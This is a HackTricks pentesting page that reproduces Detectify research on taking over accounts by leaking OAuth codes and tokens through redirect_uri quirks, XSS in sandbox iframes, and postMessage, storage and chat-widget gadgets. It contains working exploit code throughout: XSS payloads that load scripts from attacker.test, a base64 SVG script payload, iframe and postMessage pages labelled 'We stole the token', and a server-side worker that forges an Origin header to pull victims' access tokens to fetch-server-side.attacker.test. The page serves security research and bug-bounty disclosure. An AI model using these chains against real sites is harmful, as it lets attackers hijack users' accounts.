hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-ifram...

40 KiB
Raw Permalink Blame History

OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

This content was taken from https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url****

Explanation of different OAuth-dances

Response types

First, there are different response types you can use in the OAuth-dance. These responses grant the token to login as the users or the needed info to do so.

The three most common ones are:

  1. code + state. The code is used to call the OAuth-provider server-side to get a token. The state parameter is used to verify the correct user is making the call. Its the OAuth-clients responsibility to validate the state parameter before making the server-side call to the OAuth-provider.
  2. id_token. Is a JSON Web Token (JWT) signed using a public certificate from the OAuth-provider to verify that the identity provided is indeed who it claims to be.
  3. token. Is an access token used in the API of the service provider.

Response modes

There are different modes the authorization flow could use to provide the codes or tokens to the website in the OAuth-dance, these are four of the most common ones:

  1. Query. Sending query parameters as a redirect back to the website (https://example.com/callback?code=xxx&state=xxx). Used for code+state. The code can only be used once and you need the OAuth client secret to acquire an access token when using the code.
    1. This mode is not recommended for tokens since tokens can be used multiple times and should not end up in server-logs or similar. Most OAuth-providers do not support this mode for tokens, only for code. Examples:
      • response_mode=query is used by Apple.
        • response_type=code is used by Google or Facebook.
  2. Fragment. Using a fragment redirect (https://example.com/callback#access_token=xxx). In this mode, the fragment part of the URL doesnt end up in any server-logs and can only be reached client-side using javascript. This response mode is used for tokens. Examples:
    • response_mode=fragment is used by Apple and Microsoft.
    • response_type contains id_token or token and is used by Google, Facebook, Atlassian, and others.
  3. Web-message. Using postMessage to a fixed origin of the website:
    postMessage('{"access_token":"xxx"}','https://example.com')
    If supported, it can often be used for all different response types. Examples:
    • response_mode=web_message is used by Apple.
    • redirect_uri=storagerelay://... is used by Google.
    • redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/... is used by Facebook.
  4. Form-post. Using a form post to a valid redirect_uri, a regular POST-request is sent back to the website. This can be used for code and tokens. Examples:
    • response_mode=form_post is used by Apple.
    • ux_mode=redirect&login_uri=https://example.com/callback is used by Google Sign-In (GSI).

Break state intentionally

The OAuth specification recommends a state-parameter in combination with a response_type=code to make sure that the user that initiated the flow is also the one using the code after the OAuth-dance to issue a token.

However, if the state-value is invalid, the code will not be consumed since its the websites responsibility (the final one) to validate the state. This means that if an attacker can send a login-flow-link to a victim tainted with a valid state of the attacker, the OAuth-dance will fail for the victim and the code will never be sent to the OAuth-provider. The code will still be possible to use if the attacker can get it.

  1. Attacker starts a sign-in flow on the website using “Sign in with X”.
  2. Attacker uses the state-value and constructs a link for the victim to sign in with the OAuth-provider but with the attackers state.
  3. Victim gets signed-in with the link and redirected back to the website.
  4. Website validates the state for the victim and stops processing the sign-in flow since its not a valid state. Error page for victim.
  5. Attacker finds a way to leak the code from the error page.
  6. Attacker can now sign in with their own state and the code leaked from the victim.

Response-type/Response-mode switching

Changing response-types or response-modes of the OAuth-dance will affect in what way the codes or tokens are sent back to the website, which most of the time causes unexpected behaviour. I havent seen any OAuth-provider having the option to restrict what response-types or modes that the website wants to support, so depending on the OAuth-provider there are often at least two or more that can be changed to when trying to end up in a non-happy path.

Theres also an ability to request multiple response-types. Theres a specification explaining how to provide the values to the redirect-uri when multiple response-types are requested:

If, in a request, response_type includes only values that require the server to return data fully encoded within the query string, then the returned data in the response for this multiple-valued response_type MUST be fully encoded within the query string. This recommendation applies to both success and error responses.

If, in a request, response_type includes any value that requires the server to return data fully encoded within the fragment then the returned data in the response for this multiple-valued response_type MUST be fully encoded within the fragment. This recommendation applies to both success and error responses.

If this specification is followed properly, it means that you can ask for a code-parameter sent to the website, but if you also ask for id_token at the same time, the code-parameter will be sent in the fragment part instead of in the query string.

For Googles sign-in this means that:

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

will redirect to https://example.com/callback?code=xxx&state=yyy. But:

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

will redirect to https://example.com/callback#code=xxx&state=yyy&id_token=zzz.

Same idea applies to Apple if you use:

https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

you will be redirected to https://example.com/callback?code=xxx&state=yyy, but:

https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

Will redirect you to https://example.com/callback#code=xxx&state=yyy&id_token=zzz.

Non-Happy Paths

The author of the research called non-happy paths to wrong URLs where the user login via OAuth was redirected to. This is useful because if the client is provided the token o a valid state+code but he doesn't reach the expected page, that information won't be properly consumed and if the attacker finds a way to exfiltrate that info from the "non-happy path" he will be able to takeover the account.

By default, the OAuth flow will reach the expected path, however, there could be some potential misconfigurations that could allow an attacker to craft a specific initial OAuth request that will make the user reach a non-happy path after logging in.

Redirect-uri mismatchings

These "common" found misconfigurations were found in the redirect url of the OAuth communication.

The specification **** strictly indicates that the redirect url should be strictly compared with the one defined not allowing changes appart from the port appearing or not. However, some endpoints where allowing some modifications:

Redirect-uri path appending

Some OAuth-providers allow additional data to be added to the path for redirect_uri. This is also breaking the specification in the same way as for “Redirect-uri case shifting”. For example, having a https://example.com/callbackredirect uri, sending in:

response_type=id_token&
redirect_uri=https://example.com/callbackxxx

would end up in a redirect to https://example.com/callbackxxx#id_token.

Redirect-uri parameter appending

Some OAuth-providers allow additional query or fragment parameters to be added to the redirect_uri. You can use this by triggering a non-happy path by providing the same parameters that will be appended to the URL. For example, having a https://example.com/callback redirect uri, sending in:

response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26

would end up in these cases as a redirect to https://example.com/callback?code=xxx&code=real-code. Depending on the website receiving multiple parameters with the same name, this could also trigger a non-happy path. Same applies to token and id_token:

response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26

ends up as https://example.com/callback#id_token=xxx&id_token=real-id_token. Depending on the javascript that fetches the fragment parameters when multiple parameters of the same name are present, this could also end up in a non-happy path.

Redirect-uri leftovers or misconfigurations

When collecting all sign-in URLs containing the redirect_uri-values I could also test if other redirect-uri values were also valid. Out of 125 different Google sign-in flows I saved from the websites I tested, 5 websites had the start-page also as a valid redirect_uri. For example, if redirect_uri=https://auth.example.com/callback was the one being used, in these 5 cases, any of these were also valid:

  • redirect_uri=https://example.com/
  • redirect_uri=https://example.com
  • redirect_uri=https://www.example.com/
  • redirect_uri=https://www.example.com

This was especially interesting for the websites that actually used id_token or token, since response_type=code will still have the OAuth-provider validating the redirect_uri in the last step of the OAuth-dance when acquiring a token.

Gadget 1: Weak or no origin-check postMessage-listeners that leaks URL

In this example, the final non-happy path where the token/code was being send was sending a post request message leaking location.href.
One example was an analytics-SDK for a popular site that was loaded on websites:

This SDK exposed a postMessage-listener which sent the following message when the message-type matched:

Sending a message to it from a different origin:

openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');

A response message would show up in the window that sent the message containing the location.href of the website:

The flow that could be used in an attack depended on how codes and tokens were used for the sign-in flow, but the idea was:

Attack

  1. Attacker sends the victim a crafted link that has been prepared to result in a non-happy path in the OAuth-dance.
  2. Victim clicks the link. New tab opens up with a sign-in flow with one of the OAuth-providers of the website being exploited.
  3. Non-happy path gets triggered on the website being exploited, the vulnerable postMessage-listener is loaded on the page the victim landed on, still with the code or tokens in the URL.
  4. Original tab sent by the attacker sends a bunch of postMessages to the new tab with the website to get the postMessage-listener to leak the current URL.
  5. Original tab sent by the attacker then listens to the message sent to it. When the URL comes back in a message, the code and token is extracted and sent to the attacker.
  6. Attacker signs in as the victim using the code or token that ended up on the non-happy path.

Gadget 2: XSS on sandbox/third-party domain that gets the URL

Gadget 2: example 1, stealing window.name from a sandbox iframe

This one had an iframe loaded on the page where the OAuth-dance ended. The name of the iframe was a JSON-stringified version of the window.location object. This is an old way of transferring data cross-domain, since the page in the iframe can get its own window.name set by the parent:

i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)

The domain loaded in the iframe also had a simple XSS:

https://examplesandbox.com/embed_iframe?src=javascript:alert(1)

Attack

If you have an XSS on a domain in one window, this window can then reach other windows of the same origin if theres a parent/child/opener-relationship between the windows.

This means that an attacker could exploit the XSS to load a new tab with the crafted OAuth link that will end in the path that loads the iframe with the token in the name. Then, from the XSS exploited page it will be possible to read the name of the iframe because it has an opener over the iframes parent page and exfiltrate it.

More specificly:

  1. Created a malicious page thats embedding an iframe of the sandbox with the XSS loading my own script:

    <div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
    x=createElement('script'),
    x.src='//attacker.test/inject.js',
    document.body.appendChild(x);" 
    style="border:0;width:500px;height:500px"></iframe></div>
    
  2. In my script being loaded in the sandbox, I replaced the content with the link to use for the victim:

    document.body.innerHTML = 
    '<a href="#" onclick="
    b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
    Click here to hijack token</a>';
    

    I also started a script in an interval to check if the link was opened and the iframe I wanted to reach is there to get the window.name set on the iframe with the same origin as the iframe on the attackers page:

    x = setInterval(function() {
    if(parent.window.b &&
     parent.window.b.frames[0] &&
     parent.window.b.frames[0].window &&
     parent.window.b.frames[0].window.name) {
       top.postMessage(parent.window.b.frames[0].window.name, '*');
       parent.window.b.close();
       clearInterval(x);
    }
    }, 500);
    
  3. The attacker page can then just listen to the message we just sent with the window.name:

    <script>
    window.addEventListener('message', function (e) {
     if (e.data) {
         document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
     }
    });
    </script>
    

Gadget 2: example 2, iframe with XSS + parent origin check

The second example was an iframe loaded on the non-happy path with an XSS using postMessage, but messages were only allowed from the parent window that loaded it. The location.href was sent down to the iframe when it asked for initConfig in a message to the parent window.

The main window loaded the iframe like this:

<iframe src="https://challenge-iframe.example.com/"></iframe>

And the content looked like this (a lot more simplified than how it actually was, but to explain the attack better):

<script>
window.addEventListener('message', function (e) {
  if (e.source !== window.parent) {
    // not a valid origin to send messages
    return;
  }
  if (e.data.type === 'loadJs') {
    loadScript(e.data.jsUrl);
  } else if (e.data.type === 'initConfig') {
    loadConfig(e.data.config);
  }
});
</script>

Attack

In this case the attacker loads an iframe with the Post-message XSS vuln page, and exploits the XSS to load arbitrary JS.
This JS will open a tab with the OAuth link. After logging in, the final page contains the toke in the URL and has loaded an iframe (the XSS post-message vuln iframe).

Then, the arbitrary JS (from the exploited XSS) has an opener to that tab, so it access the iframe and makes it ask the parent for the initConfig (which contains the URL with the token). The parent page gives it to the iframe, which is also commanded to leak it.\

In this case, I could do a similar method like the previos example:

  1. Create a malicious page thats embedding an iframe of the sandbox, attach an onload to trigger a script when the iframe is loaded.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://challenge-iframe.example.com/"
    onload="run()"
    style="border:0;width:500px;height:500px"></iframe></div>
    
  2. Since the malicious page is then the parent of the iframe, it could send a message to the iframe to load our script in the origin of the sandbox using postMessage (XSS):

    <script>
    function run() {
      i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
    }
    </script>
    
  3. In my script being loaded in the sandbox, I replaced the content with the link for the victim:

    document.body.innerHTML = '<a href="#" onclick="
    b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
    Click here to hijack token</a>';
    

    I also started a script in an interval to check if the link was opened and the iframe I wanted to reach was there, to run javascript inside it from my iframe to the main window. I then attached a postMessage-listener that passed over the message back to my iframe in the malicious window:

    x = setInterval(function() {
      if(b && b.frames[1]) {
        b.frames[1].eval(
          'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
          'top.postMessage({type:'initConfig'},"*")'
        )
        clearInterval(x)
      }
    }, 500);
    
  4. The attacker page that had the iframe loaded can then listen to the message I sent from the injected postMessage listener proxy in the main windows iframe:

    <script>
    window.addEventListener('message', function (e) {
     if (e.data) {
         document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
     }
    });
    </script>
    

Gadget 3: Using APIs to fetch URL out-of-bounds

This gadget turned out to be the most fun. Theres something satisfying about sending the victim somewhere and then picking up sensitive data from a different location.

Gadget 3: example 1, storage-iframe with no origin check

The first example used an external service for tracking-data. This service added a “storage iframe”:

<iframe
  id="tracking"
  name="tracking"
  src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>

The main window would talk with this iframe using postMessage to send tracking-data that would be saved in the localStorage of the origin the storage.html was located in:

tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');

The main window could also fetch this content:

tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');

When the iframe was loaded on initialization, a key was saved for the last location of the user using location.href:

tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');

If you could talk with this origin somehow and get it to send you the content, the location.href could be fetched from this storage. The postMessage-listener for the service had a block-list and an allow-list of origins. It seems like the analytics-service allowed the website to define what origins to allow or deny:

var blockList = [];
var allowList = [];
var syncListeners = [];

window.addEventListener('message', function(e) {
  // If there's a blockList, check if origin is there and if so, deny
  if (blockList && blockList.indexOf(e.origin) !== -1) {
    return;
  }
  // If there's an allowList, check if origin is there, else deny
  if (allowList && allowList.indexOf(e.origin) == -1) {
    return;
  }
  // Only parent can talk to it
  if (e.source !== window.parent) {
    return;
  }
  handleMessage(e);
});

function handleMessage(e) {
  if (data.type === 'sync') {
    syncListeners.push({source: e.source, origin: e.origin})
  } else {
  ...
}

window.addEventListener('storage', function(e) {
  for(var i = 0; i < syncListeners.length; i++) {
    syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
  }
}

Also, if you had a valid origin based on the allowList, you would also be able to ask for a sync, which would give you any of the changes made to the localStorage in this window sent to you when they were made.

Attack

On the website that had this storage loaded on the non-happy path of the OAuth-dance, no allowList-origins were defined; this allowed any origin to talk with the postMessage listener if the origin was the parent of the window:

  1. I created a malicious page that embedded an iframe of the storage container and attached an onload to trigger a script when the iframe is loaded.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://cdn.customer12345.analytics.example.com/storage.html"
    onload="run()"></iframe></div>
    
  2. Since the malicious page was now the parent of the iframe, and no origins were defined in the allowList, the malicious page could send messages to the iframe to tell the storage to send messages for any updates to the storage. I could also add a listener to the malicious page to listen for any sync-updates from the storage:

    <script>
    function run() {
      i.postMessage({type:'sync'}, '*')
    }
    window.addEventListener('message', function (e) {
     if (e.data && e.data.type === 'sync') {
         document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
     }
    });
    </script>
    
  3. The malicious page would also contain a regular link for the victim to click:

    <a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
    target="_blank">Click here to hijack token</a>';
    
  4. The victim would click the link, go through the OAuth-dance, and end up on the non-happy path loading the tracking-script and the storage-iframe. The storage iframe gets an update of last-url. The window.storage-event would trigger in the iframe of the malicious page since the localStorage was updated, and the malicious page that was now getting updates whenever the storage changed would get a postMessage with the current URL of the victim:

Gadget 3: example 2, customer mix-up in CDN DIY storage-SVG without origin check

Since the analytics-service itself had a bug bounty, I was also interested to see if I could find a way to leak URLs also for the websites that had configured proper origins for the storage-iframe.

When I started searching for the cdn.analytics.example.com domain online without the customer-part of it, I noticed that this CDN also contained images uploaded by customers of the service:

https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png

I also noticed that there were SVG-files served inline as Content-type: image/svg+xml on this CDN:

https://cdn.analytics.example.com/img/customer54353/icon-register.svg

I registered as a trial user on the service, and uploaded my own asset, which also showed up on the CDN:

https://cdn.analytics.example.com/img/customer94342/tiger.svg

The interesting part was that, if you then used the customer-specific subdomain for the CDN, the image was still served. This URL worked:

https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg

This meant that the customer with ID #94342 could render SVG-files in customer #12345s storage.

I uploaded a SVG-file with a simple XSS-payload:

https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>

Not great. The CDN added a Content-Security-Policy: default-src 'self' header to everything under img/. You could also see the server header mentioned S3 disclosing that the content was uploaded to an S3-bucket:

One interesting quirk with S3 is that directories are not really directories in S3; the path before the key is called a “prefix”. This means that S3 doesnt care if / are url-encoded or not, it will still serve the content if you url-encode every slash in the URL. If I changed img/ to img%2f in the URL would still resolve the image. However, in that case the CSP-header was removed and the XSS triggered:

I could then upload an SVG that would create the same form of storage-handler and postMessage-listener like the regular storage.html, but an empty allowList. That allowed me to do the same kind of attack even on websites that had properly defined the allowed origins that could talk to the storage.

I uploaded a SVG that looked like this:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>

I could then utilize the same methodology like in example #1, but instead of iframing the storage.html I could just iframe the SVG with the url-encoded slash:

<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>

Since no website would be able to patch this themselves, I sent a report to the analytics provider in charge of the CDN instead:

The whole idea about looking at misconfiguration bugs on the third-party was mainly to confirm that there are multiple ways to achieve the leaking of the tokens and since the third-party had a bug bounty, this was just a different receiver for the same kind of bug, the difference being that the impact was for all of the customers of the analytics service instead. In this case, the customer of the third-party actually had the ability to properly configure the tool to not make it leak data to the attacker. However, since the sensitive data was still sent to the third-party it was interesting to see if there was somehow a way to completely bypass the customers proper configuration of the tool.

Gadget 3: example 3, chat-widget API

The last example was based on a chat-widget that was present on all pages of a website, even the error pages. There were multiple postMessage-listeners, one of them without a proper origin check that only allowed you to start the chat-popup. Another listener had a strict origin check for the chat-widget to receive an initialization-call and the current chat-api-token that was used for the current user.

<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
  if (e.data.type === 'launch-chat') {
    openChat();
  }
});

function openChat() {
  ...
}

var chatApiToken;
window.addEventListener('message', function(e) {
  if (e.origin === 'https://chat-widget.example.com') {
    if (e.data.type === 'chat-widget') {
      if (e.data.key === 'api-token') {
        chatApiToken = e.data.value;
      }
      if(e.data.key === 'init') {
        chatIsLoaded();
      }
    }
  }
});

function chatIsLoaded() {
  ...
}
</script>

When the chat-iframe loaded:

  1. If a chat-api-token existed in the chat-widgets localStorage it would send the api-token to its parent using postMessage. If no chat-api-token existed it would not send anything.
  2. When iframe has loaded it will send a postMessage with a {"type": "chat-widget", "key": "init"} to its parent.

If you clicked on the chat-icon in the main window:

  1. If no chat-api-token had been sent already, the chat-widget would create one and put it in its own origins localStorage and postMessage it to the parent window.

  2. The parent window would then make an API-call to the chat-service. The API-endpoint was CORS-restricted to the specific website configured for the service. You had to provide a valid Origin-header for the API-call with the chat-api-token to allow the request to be sent.

  3. The API-call from the main window would contain location.href and register it as the “current page” of the visitor with the chat-api-token. The response would then contain tokens to connect to a websocket to initiate the chat-session:

    {
      "api_data": {
        "current_page": "https://example.com/#access_token=test",
        "socket_key": "xxxyyyzzz",
        ...
      }
    }
    

In this example, I realized the announcement of the chat-api-token would always be announced to the parent of the chat-widget iframe, and if I got the chat-api-token I could just make a server-side request using the token and then add my own artificial Origin-header to the API-call since a CORS-header only matters for a browser. This resulted in the following chain:

  1. Created a malicious page thats embedding an iframe of the chat-widget, added a postMessage-listener to listen for the chat-api-token. Also, triggered an event to reload the iframe if I havent gotten the api-token in 2 seconds. This was to make sure that I also supported the victims that had never initiated the chat, and since I could trigger to open the chat remotely, I first needed the chat-api-token to start polling for the data in the chat-API from server-side.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
    <script>
    var gotToken = false;
    function reloadToCheck() {
      if (gotToken) return;
      setTimeout(function() {
        document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
      }, 2000);
    }
    window.onmessage = function(e) {
      if (e.data.key === 'api-token') {
        gotToken = true;
        lookInApi(e.data.value);    
      }
    }
    launchChatWindowByPostMessage();
    </script>
    
  2. Added a link to the malicious page to open up the sign-in-flow that would end up on the page with the chat-widget with the token in the URL:

    <a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Click here to hijack token</a>
    
  3. The launchChatWindowByPostMessage()-function will continuously send a postMessage to the main window, if opened, to launch the chat-widget:

    function launchChatWindowByPostMessage() {
      var launch = setInterval(function() {
        if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
      }, 500);
    }
    
  4. When the victim clicked the link and ended up on the error page, the chat would launch and a chat-api-token would be created. My reload of the chat-widget iframe on the malicious page would get the api-token through postMessage and I could then start to look in the API for the current url of the victim:

    function lookInApi(token) {
      var look = setInterval(function() {
        fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
          if (e &&
            e.api_data &&
            e.api_data.current_url &&
            e.api_data.current_url.indexOf('access_token') !== -1) {
              var payload = e.api_data.current_url
              document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload;
              clearInterval(look);
          }
        });
      }, 2000);
    }
    
  5. The server-side page at https://fetch-server-side.attacker.test/?token=xxx would make the API-call with the added Origin-header to make the Chat-API think I was using it as a legit origin:

    addEventListener('fetch', event => {
      event.respondWith(handleRequest(event.request))
    })
    async function getDataFromChatApi(token) {
      return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
    }
    function handleRequest(request) {
      const token = request.url.match('token=([^&#]+)')[1] || null;
      return token ? getDataFromChatApi(token) : null;
    }
    
  6. When the victim clicked the link and went through the OAuth-dance and landed on the error page with the token added, the chat-widget would suddenly popup, register the current URL and the attacker would have the access token from the victim.

Other ideas for leaking URLs

There are still other different types of gadgets waiting to be found. Heres one of those cases I wasnt able to find in the wild but could be a potential way to get the URL to leak using any of the response modes available.

A page on a domain that routes any postMessage to its opener

Since all web_message response types cannot validate any path of the origin, any URL on a valid domain can receive the postMessage with the token. If theres some form of postMessage-listener proxy on any of the pages on the domain, that takes any message sent to it and sends everything to its opener, I can make a double-window.open chain:

Attacker page 1:

<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>

Attacker page 2:

<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>

And the https://example.com/postmessage-proxy would have something along the lines of:

// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }

I could use any of the web_message-response modes to submit the token from the OAuth-provider down to the valid origin of https://example.com, but the endpoint would send the token further to opener which is the attackers page.

This flow might seem unlikely and it needs two clicks: one to create one opener-relationship between the attacker and the website, and the second to launch the OAuth-flow having the legit website as the opener of the OAuth-popup.

The OAuth-provider sends the token down to the legit origin:

And the legit origin has the postMessage-proxy to its opener:

Which causes the attacker to get the token:

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥